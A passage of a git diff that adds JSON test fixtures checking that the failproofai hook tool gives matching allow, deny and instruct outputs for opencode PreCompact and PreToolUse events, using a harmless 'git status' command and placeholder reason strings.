"transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PreCompact/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PreCompact/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..3f344e6c --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreCompact/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PreCompact/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PreCompact/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..83a8347d --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreCompact/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PreToolUse/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PreToolUse/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..66432bc7 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreToolUse/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PreToolUse/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PreToolUse/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..68a01c3b --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreToolUse/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PreToolUse/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PreToolUse/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..fda324e1 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreToolUse/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PreToolUse/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PreToolUse/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..5c2cb990 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreToolUse/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PreToolUse/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PreToolUse/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..b60a8a2d --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreToolUse/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PreToolUse/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PreToolUse/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..9f1a87c0 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreToolUse/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PreToolUse/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PreToolUse/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..817aa89f --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreToolUse/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PreToolUse/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PreToolUse/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..90c4d579 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreToolUse/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PreToolUse/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PreToolUse/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..8da76364 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreToolUse/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PreToolUse/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PreToolUse/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..1b265138 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreToolUse/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PreToolUse/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PreToolUse/deny__tool-present__one-policy.json new file mode 100644 index 00000000..c9beb8fe --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreToolUse/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PreToolUse/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PreToolUse/deny__tool-present__two-policies.json new file mode 100644 index 00000000..d37b64b3 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreToolUse/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PreToolUse/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PreToolUse/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..8f770101 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreToolUse/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PreToolUse/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PreToolUse/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..ca6f6aab --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreToolUse/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PreToolUse/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PreToolUse/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..cda6e877 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreToolUse/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PreToolUse/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PreToolUse/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..f58d5f48 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreToolUse/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + 